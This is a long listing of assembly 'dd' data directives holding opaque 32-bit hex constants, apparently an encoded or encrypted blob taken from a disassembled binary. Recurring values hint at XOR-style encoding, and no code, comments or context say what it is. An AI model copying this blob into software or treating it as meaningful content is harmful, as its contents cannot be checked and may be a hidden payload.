		dd 0BAB137BFh, 2EB0D956h, 0CE72F237h, 57B3BA59h, 673B3256h
		dd 0D5B13ABFh, 1569AA56h, 4EDEF0BEh, 0B4585324h, 0A5B13256h
		dd 0AE5BAA73h, 0FA30499Ah, 9D1FCBEAh, 0B54952F5h, 2CC9D2D7h
		dd 0A23B7D6Fh, 0BAB1DA37h, 0DCEB3256h, 0B429D9BCh, 42313D50h
		dd 0A4B13256h, 0D5B13DDDh, 0EABBDB56h, 20173256h, 6390977Fh
		dd 1CDF3183h, 0AEB126BFh, 9D5F7E56h, 1CFFE704h,	0B626439Ch
		dd 72BFA783h, 0E30072DBh, 0B7363DE1h, 3DB13256h, 8206F5ECh
		dd 57323D53h, 0CAB13256h, 2F0BB9A3h, 3B7282Dh, 75B13259h
		dd 35356A76h, 135705C7h, 7ECBA514h, 3718445Ah, 740A5436h
		dd 4D59B389h, 8BFE8DAEh, 75B0B059h, 0DB483256h,	5DB032EFh
		dd 0AEA0DB56h, 66283256h, 2B84E06Ah, 0C367F4E6h, 7C73CB7Eh
		dd 8DBEBD14h, 3ABEF265h, 5DB13247h, 703A5436h, 57B135BFh
		dd 0DEC8B656h, 53947498h, 31AC137h, 75B13245h, 9905583Bh
		dd 0F98A5B9Dh, 71C20542h, 0D7D163BFh, 20B552A3h, 0CFCAC8D4h
		dd 52D75250h, 9C3165D8h, 383853D2h, 5BAB4E44h, 0F30F5436h
		dd 543F3DACh, 2BB13256h, 29D0DEA0h, 5DBE5237h, 0B5305499h
		dd 79D0BCFCh, 5DB8DB36h, 0BD023256h, 550F7140h,	43591C96h
		dd 0D5B1325Dh, 0A9256CC0h, 0A492A8E2h, 0B56044D2h, 3CEEC2E9h
		dd 16035236h, 57B1DA37h, 2AEB3256h, 0CF2B25BCh,	0E5E35250h
		dd 75B132DDh, 0B5596856h, 0F9B13256h, 0BA7C2733h, 49AA4428h
		dd 0EE2C037Eh, 63A23F1h, 61BE530Eh, 75B1325Ah, 0BAB7BC59h
		dd 0DEBE3256h, 0AEB13256h, 4DE8B790h, 0CBE73442h, 877B8559h
		dd 5263C0D7h, 14EF22C5h, 0BAB0BD59h, 35483256h,	7AAE5F6Fh
		dd 55363D36h, 20B13256h, 0B44E8699h, 0F06087A9h, 0F4D13442h
		dd 5E8F8397h, 0BF30545Eh, 47D01F01h, 57B13253h,	0B1192F6h
		dd 0E34BFF6h, 3B725D6h,	75B1325Bh, 64F4882Bh, 0ED05649h
		dd 520EC603h, 874ECB2Ch, 0ABB13CBFh, 87C6656h, 0E4574534h
		dd 78DE33Dh, 0E8E9EB0Ch, 0D3BE62A3h, 0AEB1325Eh, 57B3B059h
		dd 0CAD13256h, 0D531323Eh, 60D15256h, 0F20B5493h, 0B5D15357h
		dd 7E05E0E1h, 0AEDB5337h, 0E54EC7A3h, 0ADAB4B73h, 0DB378D36h
		dd 5DBE3D51h, 0A54E53A4h, 38BE6AAEh, 5DB13257h,	23BE68AEh
		dd 57B13251h, 713A5436h, 0BDD05336h, 0EAB1B256h, 89B158AAh
		dd 0C14B80A9h, 0DDBE344Ch, 0AEB13257h, 0BE61CDAAh, 0ABB13242h
		dd 2DF14C00h, 805F9EF4h, 2B3D74E1h, 0FECE49E4h,	0D5CFFC2Bh
		dd 413B5237h, 0E8D1F137h, 0F486D10Fh, 0A9C28B30h, 6BBE6737h
		dd 75B1325Eh, 0BAB3B859h, 3CD13256h, 0BA58DEDDh, 0FAB13256h
		dd 22A42B8Ch, 9279B494h, 0A8968557h, 0EEC7CCE0h, 0DA36481Ah
		dd 91095436h, 240A5431h, 575953E8h, 0F1B13256h,	4E29D8D7h
		dd 349344Ch, 75B13244h,	0AFDF7D9Ch, 0B904A66Eh,	0F1A05B27h
		dd 623E3BFh, 0DE3A0FEDh, 0D4333D5Eh, 1FB13256h,	75BC9BBEh
		dd 0B2353D56h, 52B13256h, 0AEB130D5h, 2D05256h,	0ABB13CBFh
		dd 1B301856h, 9B0DD7CCh, 0C06C6CA7h, 454F80E5h,	47C891C4h
		dd 0A1585250h, 0DEB13256h, 79F53CDFh, 0F952D81Bh, 0ACBADA18h
		dd 9CD067CEh, 0BAB1325Eh, 0C71DBCF5h, 519638FDh, 563F3D0Bh
		dd 52B13256h, 0C67BB236h, 0E6C40937h, 8A2BB759h, 0B758CDA9h
		dd 84B13256h, 9FF36AE8h, 47543461h, 0EAB167A1h,	0D5BC03BEh
		dd 6BD75256h, 0C7AA41B5h, 53D05349h, 5DB13253h,	0B867F4E6h
		dd 9548FB7Eh, 0FE44325Eh, 0D5BDB559h, 66BE3256h, 75B13250h
		dd 0BAB1B459h, 0B13A3256h, 0A858CA36h, 8BB13256h, 23815646h
		dd 11325370h, 0E0393DAAh, 15B13256h, 73306D04h,	6A93D750h
		dd 2DBE6437h, 57B13242h, 0ABB13DBFh, 97B6C056h,	0FF45E900h
		dd 42DD4010h, 8DE7040Dh, 52E2C701h, 0AEB135DAh,	563E3D56h
		dd 5EB13256h, 0D5B132BEh, 306856h, 73ABAEE8h, 0BAB137BFh
		dd 0E6B40356h, 0CE44A797h, 57B2BA59h, 20D73256h, 0B46BB9A7h
		dd 0E5B947DDh, 75B134D2h, 0B5485256h, 0D6D0F0E1h, 0BF58222Bh
		dd 7BB13256h, 3A7B6517h, 0F6D89132h, 2888AF8h, 6AF5231Ah
		dd 0BABBDB01h, 0ABE33256h, 436A8723h, 0B4B0C9C0h, 0BB595200h
		dd 0D1B13256h, 2CF9CAE0h, 0DD44EA68h, 67B56AF6h, 0D6199CC5h
		dd 19BE6BAFh, 2C5953A6h, 5EB13257h, 51BEF25Dh, 0EAB132F2h
		dd 75B0B159h, 31483256h, 5DB8DBAEh, 4CBA3256h, 13F009E2h
		dd 0FE8B4499h, 0D5B6B759h, 6CBE3256h, 75B13257h, 1923CDAFh
		dd 0A8B7282Fh, 0A4393D0Bh, 0BEB13256h, 0ABB13253h, 536A4AF7h
		dd 0E6C409A1h, 75EFB659h, 0B5D13256h, 5DB134D6h, 555EB356h
		dd 5893553Ah, 0ABB133D4h, 0B3D0CE56h, 6ABE2CDDh, 75B13244h
		dd 6D51B336h, 0B4EEABD8h, 0AEB13253h, 0BC04B7D6h, 4C3153F2h
		dd 1A0752A6h, 8B7DD7D6h, 8CD12CDCh, 0DB48CA36h,	0BE31CB37h
		dd 0AF3E3DA6h, 0AEB13256h, 0AB95F0BEh, 3E3B5256h, 0CB5853AEh
		dd 804ECDA9h, 4F4D4FDFh, 0A24612BEh, 0A53D3DA9h, 37B13256h
		dd 0A461B930h, 0D5B132D9h, 6CBE5356h, 75B1325Ah, 0BAB135BFh
		dd 609B7F56h, 643B75FDh, 57BFDB0Dh, 55293256h, 0ACE674B6h
		dd 56D02580h, 149EA57Bh, 3BD75209h, 3C9D98B9h, 0AEA5DB08h
		dd 0C0CC3256h, 2C9F4BE9h, 159150AAh, 0B669ED4Ah, 0E7232A89h
		dd 3148AC82h, 0B5D1CE13h, 0AEB13244h, 0F0C152Eh, 50A0BF2Dh
		dd 5242634Ch, 6675BCBDh, 7958E402h, 0AAB13256h,	0B8EDAC1Fh
		dd 4D629A58h, 0E36DDF1h, 0CA67B930h, 1F063D36h,	0EAB2B659h
		dd 80313256h, 5378539Eh, 5DB13246h, 8BE736ADh, 3671600h
		dd 68F33076h, 0B2573C2Dh, 8AB13E94h, 0E8EEC6EFh, 0BAB6DB36h
		dd 0FA963256h, 96C230F5h, 0AFE45304h, 2848DEDDh, 8248CA92h
		dd 0EAB0BA59h, 23443256h, 0BAB138BFh, 23920B56h, 0CFF1EFDDh
		dd 37F77041h, 2A0BD4D6h, 70C0C89h, 0E5E0536Ah, 75B121D1h
		dd 0BABFDB56h, 1B763256h, 7EE8A6CAh, 5C503843h,	66E72EFFh
		dd 0D5A0DB05h, 7F7C3256h, 0CFCCEA60h, 0DEAEEC13h, 0A9E46137h
		dd 69CBCEE9h, 57B1CA13h, 27BE3256h, 0D5B13257h,	6876CBAEh
		dd 73AB49F4h, 0BAB13257h, 5DA0BE59h, 0A2583256h, 18B13256h
		dd 5EB13B53h, 0E780E5B6h, 617AC0C0h, 7AD13A23h,	0BAB131D2h
		dd 0AD0E3D56h, 25E48D30h, 493A5437h, 8E0BB9AFh,	29B7282Fh
		dd 0E5B96DDDh, 75B129D0h, 0AF363D56h, 0B4B13256h, 0AEB13246h
		dd 8E1F2033h, 6E75BF02h, 435286FCh, 0BD6F3F37h,	0F1BEE95Dh
		dd 0BAB13231h, 526F09AEh, 0AEB10ED3h, 0E1495256h, 0BF585300h
		dd 8CB13256h, 0FB94D10Fh, 0D6391115h, 0FEF3EF3Bh, 0CA567EC0h
		dd 257B0EDFh, 0DE443E0Bh, 0A4D13E09h, 0D5B138D1h, 0EAB4DB56h
		dd 36A53256h, 79F962h, 495B4E02h, 0BA76B137h, 57B6B959h
		dd 27BE3256h, 0D5B13257h, 15CBDBAAh, 13D1CDA9h,	0EED4FAD7h
		dd 953A5237h, 0C8D06A00h, 0D1BE2CDDh, 0ABB1324Ch, 0D5A5BD59h
		dd 0E5583256h, 5DB13256h, 968DD97Bh, 78FF81A7h,	0F98A8048h
		dd 0AC31AA42h, 0A1353DBEh
		dd 0DAB13255h, 0EAB135D0h, 74333D56h, 43B13256h, 5258C9D6h
		dd 0AEB3C6D2h, 0E8BE5256h, 0B964B29Eh, 3E4AB237h, 0E852B659h
		dd 0F5483256h, 3EBED0ADh, 5DB1309Dh, 4D4AB2AEh,	5511B659h
		dd 27BE3256h, 0D5B1325Ah, 0EAB7B959h, 0F1BE3256h, 0BAB13256h
		dd 3A4AB330h, 0A353DB5h, 37B13254h, 0FC4BB930h,	0B4EE6D04h
		dd 1641D5D6h, 7A4AB330h, 20353DD6h, 52B13254h, 0AEB133D1h
		dd 0D749CB56h, 26BEC2B5h, 0D5B1325Ch, 0E5D05236h, 75B132DEh
		dd 41315356h, 2B353D26h, 57B13254h, 57B123BFh, 0B1CFE256h
		dd 0E8CB9050h, 6EE8022Dh, 9A64EFE8h, 31D79193h,	5DBEDB48h
		dd 5E853256h, 0AC49BD23h, 0F678CC45h, 780DD363h, 1252B29Fh
		dd 75B134BFh, 56805B56h, 0DDD4AD98h, 2ABE8AADh,	57B13372h
		dd 0ABB137BFh, 0AF809D56h, 0D43141FCh, 64353D53h, 53B13257h
		dd 5DB13251h, 4257B7C5h, 0D7FFBC43h, 2FBE1F68h,	0D5B132AAh
		dd 828FB2AFh, 7543B659h, 53D13256h, 5DB13245h, 1DE3E256h
		dd 0C859E0B7h, 568F5789h, 0BBCC9614h, 8B5F5E8Dh, 0E13B0A9h
		dd 33BE344Ch, 5DB1325Eh, 0AEB3BB59h, 36D13256h,	0A4AFB930h
		dd 0D5B133D0h, 0D31C756h, 290F52AEh, 0B5961039h, 0A8D0C3E9h
		dd 2F4AB330h, 0F6353DBEh, 0CBB13256h, 0D5B5BC59h, 55D73256h
		dd 0F4D12824h, 0EEAF60B8h, 3CD0C77Ah, 0A1AFB930h, 57B13ADDh
		dd 0A93B3D56h, 0B5B13256h, 1A56B237h, 75B13ABFh, 431BFA56h
		dd 29BD1C0Ah, 55305453h, 0D3BEF2D7h, 0ABB13236h, 0D5B6B659h
		dd 61BE3256h, 75B13257h, 0EF4952A3h, 0FE23CDAEh, 0CEB7282Fh
		dd 0B8BAD0D7h, 0F6D043C7h, 0D5B4DB36h, 3DBC3256h, 0F5197D62h
		dd 0B5D0588Eh, 5DB13AD2h, 0AC323D56h, 37B13256h, 57F4BB37h
		dd 0D4323DAAh, 13B13256h, 832CB37h, 3FBE33AAh, 5DB133A7h
		dd 0AEB4B759h, 37D13256h, 57D0CA37h, 0D53C88DDh, 8CD13442h
		dd 0F59C95EDh, 0EAD0128Ch, 5DB121BFh, 0E913056h, 0BFA4AC76h
		dd 3CEC91EEh, 6348C6C9h, 0E4CD268Dh, 0D733B9AFh, 43B7282Dh
		dd 3D810E6Fh, 0F1D05206h, 6DC5C2D7h, 0F3D05F18h, 0D42EB059h
		dd 6EBE3256h, 75B13244h, 0BABDB259h, 5A583256h,	55B13256h
		dd 8B906CFBh, 113AFEF6h, 0D3A5399Bh, 0EAB0B759h, 25443256h
		dd 0BAB13CBFh, 4C68D756h, 6830979h, 0C64AB4D1h,	0CBD34B5Dh
		dd 5B37D2D7h, 8B493643h, 0E13B0DDh, 8349344Ch, 0DDBE026Ah
		dd 0AEB13257h, 0D8BE6AAFh, 0ABB13313h, 0D5B126BFh, 0BE76B556h
		dd 9A06EBF5h, 0C2D5EA01h, 1CF1CF52h, 0AAFA6D35h, 57FEDBF0h
		dd 0BA583256h, 69B13256h, 9CEC288h, 6CE32E5h, 7DC98F51h
		dd 1AE99BE9h, 3841B236h, 0ED58B330h, 0EE765321h, 0D5B130AEh
		dd 0C858CA56h, 9CB13256h, 0BAB13259h, 117142CDh, 0E05B543Fh
		dd 0C472268h, 6CC2FD31h, 0D5B0CA13h, 62BE3256h,	75B13257h
		dd 9F0BB9AAh, 0A1B7282Fh, 0A2582DDDh, 94B13256h, 0A3BC8168h
		dd 0B8BD87Ch, 0E1BB45B0h, 0C3353D8Dh, 53B13256h, 5DB1325Ch
		dd 0DD3CAF3Fh, 0F272E67Bh, 758A5135h, 0D5F7B759h, 6EBE3256h
		dd 75B13257h, 0B6ECB9AEh, 5DBDBC59h, 20BE3256h,	57B13250h
		dd 0ABB1B359h, 0A8323256h, 6EBE32AEh, 75B1324Dh, 0B9323D36h
		dd 3BB13256h, 25D7EADDh, 0AB253AEh, 0CDE152AEh,	0B3EEE3DDh
		dd 63D0F4DDh, 14D13609h, 0B5A5F5D5h, 5DB134D0h,	0CFD15256h
		dd 0BED05336h, 0ABB1325Ch, 68094FFh, 5D1649ECh,	1058F3ABh
		dd 0DA4ECDA9h, 11540BEDh, 6E82530Fh, 57B8DB36h,	0A60F3256h
		dd 0EAB6E7B3h, 6B5ADD8Dh, 0FB832C9Eh, 0EE58535Fh, 52B13252h
		dd 0AEB13ED3h, 51353D56h, 0A4B13256h, 0D5B132DBh, 0F43A5456h
		dd 75A1B059h, 0B1583256h, 0D4B13256h, 592CA93Bh, 819FF46Eh
		dd 0D63A5EB8h, 0D4353D5Ah, 16B13256h, 7A5AC9D6h, 0BAB17ED2h
		dd 0DCD1CB56h, 8239BB1h, 0AE3A5254h, 0ABB1B759h, 0B4D03256h
		dd 1F41D1D6h, 7AC1C9D6h, 0BAB144D2h, 5DBBDB56h,	64FA3256h
		dd 0D3E558DBh, 7D36CA9Dh, 0D5B039BFh, 0F8373D56h, 15B13256h
		dd 0BAB135BEh, 0A7F3B156h, 0DA5200DAh, 810E3D0Eh, 42B6F437h
		dd 0D4F6F5AAh, 0EAB13256h, 0A4305436h, 0AB596315h, 23B13256h
		dd 791ADFF8h, 0F0D4FC84h, 0A26C7827h, 0A588C29Eh, 8BEEF5DDh
		dd 7B58F5DDh, 0FBB13256h, 0F32E03ECh, 0D6F336Ah, 8E96663Dh
		dd 0AE71B175h, 0D630DBAEh, 8C483256h, 7DBE3591h, 0B5AFB8AAh
		dd 5DB135DDh, 0AF373D56h, 0A2B13256h, 5EBED1D6h, 3C31F9D6h
		dd 0EAB1325Fh, 5040D456h, 94F5A861h, 5CEEBA32h,	0E47CB236h
		dd 57B139BEh, 0C3E10D56h, 8865550Ch, 0EB3BBE84h, 14EA5336h
		dd 0B8F6F5AFh, 5DB13256h, 0AEB13DBFh, 4D56AB56h, 0A14FD073h
		dd 33783B4Ah, 0F3B333EEh, 0F6BEF5DDh, 0BAB1325Eh, 9F0BCB36h
		dd 0CFE430D2h, 0ABB7F2D5h, 0ABB234BFh, 0D5B4DB56h, 65023256h
		dd 15F8BC00h, 0BAB13DBFh, 47B96F56h, 5BD5C136h,	0ACC61FCAh
		dd 67585226h, 0D5B138BFh, 0FE81B256h, 7C779F65h, 0DB642915h
		dd 0CD8FB330h, 0E8353DC6h, 0AFB13256h, 0A4210CD6h, 0D5B148D3h
		dd 62BEC756h, 75B13251h, 1D7C736h, 3BD05965h, 3E4E4CD7h
		dd 75353DC6h, 0A4B13256h, 0D5B135DCh, 0EB363D56h, 89B13256h
		dd 0BAB17CBFh, 5DBADB56h, 0A2BD3256h, 0CE86B824h, 9722D96Ch
		dd 3C76B962h, 0EAB13258h, 2EC80004h, 653267F6h,	43453C2Fh
		dd 0A658F8A5h, 8B13256h, 0C6C981EDh, 3C69EC42h,	0EAB13009h
		dd 75B120BFh, 8F4FD556h, 647E1F92h, 19CE16D3h, 3E10993h
		dd 260F6BDCh, 0CFCD76D4h, 3E1CA50h, 75B1325Bh, 0F3AC9634h
		dd 0ED10BAB7h, 20A1D4E7h, 0DDBE6475h, 0ABB13257h, 1023CDAFh
		dd 0E5B7282Fh, 75B13FDCh, 0BAB9DB56h, 0C6F93256h, 1FD8E378h
		dd 97BA0C8Bh, 0ABEBB659h, 5CBE3256h, 0EAB13241h, 75B120BFh
		dd 21FBAD56h, 6917176h,	0A6F8A02Fh, 99B7CC90h, 0A4CD0447h
		dd 0D5B121D9h, 0EABFDB56h, 4AFC3256h, 51215217h, 0BAD082A7h
		dd 81CC25C4h, 5E58FADDh, 0F2B13256h, 909CB8C6h,	8D280861h
		dd 3103BFAFh, 4FB7282Ah, 5DB14ABFh, 960B5256h, 36ADBE28h
		dd 653AC700h, 0B47FB936h, 0EA3C3D36h, 27B13256h, 0BAB13BBEh
		dd 0F72AB656h, 81920A1Ch, 0EE9790Bh, 2CBE6737h,	0D5B1325Ah
		dd 0EAB7B559h, 0F2BE3256h, 0BAB13256h, 2412A0A9h, 0A1D1344Ch
		dd 0E8BEC2E1h, 0A658539Dh, 0C3B13256h, 59CB92ECh, 6AC432DFh
		dd 69044FE3h, 5C3A3D0Bh, 5BB13256h, 0A04DFC7Dh,	42EFCB8Fh
		dd 0D5B1325Fh, 219851DDh, 8D596779h, 42CCB1ECh,	0A343D57h
		dd 0CEB13256h, 37CD8536h, 6D3B5337h, 2DF88237h,	0EABFDBFCh
		dd 4D6D3256h, 41557523h, 0E056839h, 8AA6F168h, 0D2BE8A30h
		dd 571A54AEh, 0D4F78459h, 0EAB6DB36h, 33F43256h, 0E49708F4h
		dd 0AD3A5432h, 47489937h, 57B132BEh, 0ABB13FBFh, 76BEEF56h
		dd 89C530FCh, 4F17FF6h,	0C7322DDBh, 0D8BE30AEh,	0AEB132FBh
		dd 57B123BFh, 5BBDD856h, 16B78F4Bh, 3B44C149h, 5DCE5D50h
		dd 2D7A5CEh, 0D3BEFB5Dh, 0AEB1324Eh, 57B121BFh,	6455A956h
		dd 8715540h, 2FA2CAA1h,	87FD8119h, 748EE6AFh, 5DB13FBFh
		dd 208A5956h, 0C39C01C2h, 636333BEh, 7ED7D9C5h,	0EAB5BD59h
		dd 15D13256h, 2D75337h,	3B48B659h, 0AEB8DBFDh, 99B33256h
		dd 98C5E083h, 0DAD58BDBh, 3B074E0h, 75B13253h, 88F4D45Ah
		dd 49589914h, 80B13256h, 5516922Bh, 3D108419h, 7AFA5AF1h
		dd 560FE7D4h, 9C7D7736h, 0BAB13262h, 5DB122BFh,	604DA156h
		dd 397C4539h, 0F643FA7Dh
		dd 25D72D46h, 0E515C181h, 75B125DAh, 0BAA3DB56h, 0B5033256h
		dd 7889929h, 6B460354h,	44A7B5EEh, 9274692Ah, 0B149F5DDh
		dd 763D3D36h, 0DCB13256h, 0E4D7E3DDh, 0F7D01231h, 57B0BD59h
		dd 0F5493256h, 3DD16DAEh, 0EAB13258h, 0CAA9519h, 1A946284h
		dd 8D67FAE9h, 4C30D17Eh, 1F07C679h, 0CA268508h,	0D958529Fh
		dd 83B13256h, 0AE90A519h, 63D018EFh, 3BABA8C3h,	0A1D0F5DDh
		dd 57B133D1h, 0A373CA56h, 0D83B3D56h, 3B13256h,	75B1325Eh
		dd 6A5DA18Dh, 0EB772238h, 9DCC8836h, 3F0667C5h,	0AC586737h
		dd 0DCB13256h, 6A988491h, 7B58FA72h, 0C3B13256h, 93938946h
		dd 3EDD4E3h, 0A53A773Fh, 525DB9F8h, 0D5B0B959h,	8A483256h
		dd 0B4063D36h, 52D0CBDDh, 5DB13256h, 435BB30Ch,	37B728FEh
		dd 58088930h, 0B4FEDED6h, 0AF3ACEA3h, 7A3F3D5Eh, 0DAB13256h
		dd 5DB13ABFh, 28CDFE56h, 0BC76B04h, 2938530Bh, 0D3AB4B31h
		dd 0EAAEB759h, 0F5BE3256h, 0BAB1324Fh, 5DB126BFh, 99AB3B56h
		dd 2966457Fh, 3FAF9D81h, 0F774BED5h, 638A0E3Eh,	9CD153AEh
		dd 0BAB13250h, 53D504DFh, 703A8AAFh, 5A58FB37h,	51B13256h
		dd 1E4CE30Ch, 67313AE5h, 0F68ABCEEh, 0DAB13694h, 0D6D7EADDh
		dd 0A1E45385h, 57B138D1h, 1CBE5256h, 0A88088A5h, 61D01FC9h
		dd 0C2BE52BAh, 0AF0A528Eh, 3CFB74DFh, 5675B137h, 435852AAh
		dd 0AEB13256h, 0A5F5A62Fh, 0F9522DE5h, 0F204FB50h, 8B1C065Bh
		dd 0B5F1C6BEh, 0AEB13256h, 0E65BB30Ch, 53B728FFh, 0D595BE59h
		dd 3D13256h, 75B1325Fh,	8CA3587h, 98821E40h, 0AEBFDAF9h
		dd 0A59C3256h, 8F2D8466h, 0DF3587E2h, 2A1828Ch,	30765309h
		dd 0BAB132AEh, 5C3C3D56h, 52B13256h, 0ABF4F5AAh, 0ABB13256h
		dd 0D5B0BC59h, 0D9483256h, 64383D96h, 53B13256h, 5DB1325Ah
		dd 7EFFD6BAh, 3C8AC4E6h, 4AE75ABAh, 20AFB930h, 9113B091h
		dd 75B0344Ch, 0EAD13256h, 5DB1B359h, 2FEF3256h,	115F3489h
		dd 0BF58534Dh, 12B13256h, 914036BAh, 90090822h,	0E5262FC4h
		dd 1298CD49h, 0C8170A01h, 0C721C9D7h, 0ABBEB759h, 3CD13256h
		dd 0EAB1325Eh, 9D4A7DCBh, 1502B278h, 0B54AB237h, 0AA32B659h
		dd 5C583256h, 73B13256h, 0BF4882Bh, 0B9D05649h,	80F1C603h
		dd 0B558C9D6h, 5DB55AD2h, 0B63F3D56h, 58B13256h, 0ABB120DCh
		dd 0D5BCDB56h, 0A5ED3256h, 0D764AC36h, 0A82B2FB1h, 1D67316Bh
		dd 454AB2AEh, 538EB659h, 0EB4D3256h, 0D5B135BFh, 0CC248F56h
		dd 0FFE633B1h, 0DA41D5D6h, 72808836h, 0A0580825h, 33B13256h
		dd 1EA7DF0Dh, 58CF7F68h, 979EF180h, 0CCD15321h,	85C5F3F2h
		dd 0DDD15337h, 0A258CAA3h, 72B13256h, 0E936169Bh, 0B1D69880h
		dd 8BBA847Fh, 7A4AB330h, 50353DD6h, 0A1B13255h,	0A5CCB055h
		dd 58493442h, 0ABB133D6h, 3CF1CE56h, 0EAB1325Bh, 538FDED7h
		dd 0ABA82C4Ch, 328173B9h, 4C4AB22Fh, 543CB659h,	0A3583256h
		dd 0C9B13256h, 0FF280A96h, 0F541C25Fh, 3EBED1ADh, 5DB1311Eh
		dd 0AEB138BFh, 0E7B5FF56h, 0CB5B4A4Ch, 0B3C490B5h, 9D6C9D7h
		dd 76ECB659h, 39BE3256h, 5DB13245h, 0AEBADB36h,	0F0793256h
		dd 99250DACh, 8AA4CD2Dh, 0E5D0CA5Bh, 75B13AD9h,	0B83D3D56h
		dd 3DB13256h, 5E52B237h, 274AB2AFh, 0A8EAB659h,	50BE3256h
		dd 0EAB13257h, 6B3A54A3h, 4252B2AEh, 0E54AB2AFh, 0AF20B659h
		dd 58D13256h, 0ABB131D4h, 1A3A5456h, 0E250B330h, 4B31536Ch
		dd 0C2353D53h, 0B4B13257h, 0AEB13245h, 9D714C80h, 13ACFF42h
		dd 12E91BE8h, 9EFDEF89h, 0F59BA893h, 3EBE1F68h,	5DB13301h
		dd 0AEB13EBFh, 7309A156h, 0A310C296h, 0DB365278h, 828FB26Ch
		dd 748CB659h, 0A8583256h, 52B13256h, 26D46BD5h,	14B56493h
		dd 51C3AEF2h, 2C6A530Ah, 8AF1C715h, 75B135BFh, 88983A56h
		dd 9011D1E8h, 2C4ECE37h, 51AB49F4h, 0ABB13ABFh,	0C1E54856h
		dd 0C13E0C31h, 6B3A54CDh, 4256B2AEh, 5DA4B359h,	46D13256h
		dd 57B1325Fh, 0C1299700h, 5A399D67h, 54D76983h,	13D029E8h
		dd 5230C9D7h, 5D64B659h, 0C8493256h, 0DABE2CDDh, 0ABB13257h
		dd 2556B2AFh, 0EAB13ABFh, 83B74456h, 0C6B3D0D7h, 5DBFDBAAh
		dd 0F3E23256h, 0F88D6E11h, 10CBEA7Bh, 0F6B3415Ah, 6B4AB330h
		dd 0E9353D96h, 46B13256h, 5DB8DB36h, 0E0203256h, 471142EDh
		dd 42F220AEh, 0D5B13253h, 44B41086h, 0F2BE679Ch, 0BAB13257h
		dd 0FE23CDA3h, 0CEB7282Fh, 963A5436h, 0ABB121BEh, 6A1F9256h
		dd 0AA674AA0h, 0A4D49AB6h, 0C2881A00h, 0CC05A2D5h, 2BBE530Fh
		dd 57B13250h, 0ABB1B559h, 88D03256h, 16F4BBAEh,	0FBBE53A3h
		dd 0BAB1324Fh, 5DB126BFh, 8D460C56h, 7D168A0Ah,	7209FC19h
		dd 0B28B5FB8h, 0C19733A2h, 75B4DB16h, 11A33256h, 0DEBA5294h
		dd 0A1B0CE2Bh, 57B737D3h, 0A3353D56h, 0B5B13256h, 0EAB1BD59h
		dd 0FED03256h, 0AEB1BFECh, 0AD305250h, 0EC54D46Bh, 7D06B06h
		dd 5A063D36h, 0D5B2B559h, 5DBE3256h, 0F73A538Fh, 0BCAB49F4h
		dd 5DB138BFh, 139EB156h, 0C7615CC6h, 922C90EDh,	0D358026Ah
		dd 0D2B13256h, 6613526h, 0BABEDB50h, 90CE3256h,	2A90C430h
		dd 17F7B110h, 0AA8F13A6h, 57BE6A1Eh, 0EAB137CCh, 0B80BB9AFh
		dd 42B7265Dh, 5DB120BFh, 463C8256h, 82E6F016h, 4CFA9267h
		dd 4E3516BAh, 0BA8978FCh, 75B134BFh, 4991D956h,	0D6EEFEF2h
		dd 0B4CA90D4h, 6B88CE50h, 0A4E9CA66h, 0D5B46FD9h, 6149C756h
		dd 6FC866ECh, 0B33D3D50h, 3DB13256h, 8D72B330h,	36D052BCh
		dd 0D2E5B0D5h, 0B5A5344Ch, 61678D59h, 61585390h, 59B13256h
		dd 6C12E55h, 5C57817Fh,	6E745FADh, 0F965C4E5h, 5C878699h
		dd 0AD38C761h, 15E1CE46h, 383A53A3h, 5BAB49F4h,	0AEB138BFh
		dd 50A58656h, 6B001052h, 5E2C8591h, 59D1024Ah, 6940B2E1h
		dd 34BE6A37h, 5DB13242h, 0AEB13DBFh, 0A39CA156h, 7AB33BA1h
		dd 0AB7CB5A3h, 0DAA175Bh, 15B96DDFh, 0BAA1BF59h, 57593256h
		dd 0FDB13256h, 272EC13Fh, 5CAED5D2h, 54D7699Ch,	8B9C4E9Fh
		dd 75B587BFh, 0B3343D56h, 3DB13256h, 0AEB1B859h, 364D3256h
		dd 0A9497791h, 2CB13256h, 0EAE2DBAAh, 0CAD13256h, 0D8626F99h
		dd 3C79DFD6h, 0A2586236h, 0CCB13256h, 0A286C839h, 1EDA0A14h
		dd 0B53C7B47h, 0B2D0FCDCh, 0BAB0CA13h, 0E3D13256h, 0E70383FCh
		dd 57B13CBEh, 2754356h,	0DD84D8B1h, 0B2BC31B4h,	0FEC8B07Dh
		dd 0B5D06DAFh, 5DB13AD9h, 0AC3A3D56h, 37B13256h, 0FF0BB937h
		dd 3CB7282Fh, 0EAB13250h, 0A725AD21h, 3832CE2Bh, 5BAB4B02h
		dd 0AEBCDB42h, 0DDD83256h, 0CB05230Ah, 1C48839Bh, 0E5F67E20h
		dd 75B13ADBh, 0B8353D56h, 3DB13256h, 5B86BB37h,	0BEA175DFh
		dd 0ABB1325Ch, 0B440D81Dh, 0BE074A00h, 8D324C16h, 0D3343D55h
		dd 0B4B13256h, 0AEB1325Bh, 98854D0h, 1C04CBC3h,	0F018B02Dh
		dd 4833F529h, 77B7282Dh, 53B13256h, 5DB13246h, 9D509081h
		dd 0F2D2D53Eh, 0A212F695h, 61014C10h, 0E3BA8D36h, 7B59185Fh
		dd 23B13256h, 3F6CFF02h, 0C5BFD421h, 0DC30E87h,	42D06B8Fh
		dd 0D5B13274h, 0BC43B236h, 75BCB659h, 0BD593256h, 0C8B13256h
		dd 0D74251A3h, 36E8796Ch, 0A4B3CAD5h, 0D5B352DBh, 9732C756h
		dd 0F1BE32AEh, 0BAB132DBh, 1B073DAAh, 0AEBFDB57h, 0B2EF3256h
		dd 4137F66Eh, 2C5D3838h, 96D065A8h, 75B1B2FFh, 0E0343D56h
		dd 52B13256h, 0AEB133D2h, 0BEF1C756h, 0ABB13244h, 0EF99B32Ah
		dd 422F4F42h, 1E8F2D5h,	0ED83CA66h, 0B53280D3h,	9258CE53h
		dd 58B13256h, 0ABB12CD6h
		dd 54D75256h, 29B2387h,	75B13247h, 0F65CBB20h, 0B218CE32h
		dd 0FC82B11Fh, 1727E292h, 0A4D06AF6h, 0D5B13AD4h, 0B3E65256h
		dd 0A2858A30h, 0BA4E1F37h, 0DE443256h, 474437BEh, 57B13270h
		dd 204961AAh, 0CFCA90CCh, 0EAB4DB50h, 6B913256h, 31BEB511h
		dd 54580152h, 0B6B13256h, 0DCAC6CE7h, 0EC49397Ch, 0D518CB0Dh
		dd 0E5313256h, 75B19FD3h, 0BD333D56h, 3DB13256h, 0C479B330h
		dd 5F585320h, 0D8B13256h, 7747AB9Dh, 0E9DD4C9Ch, 0AA315290h
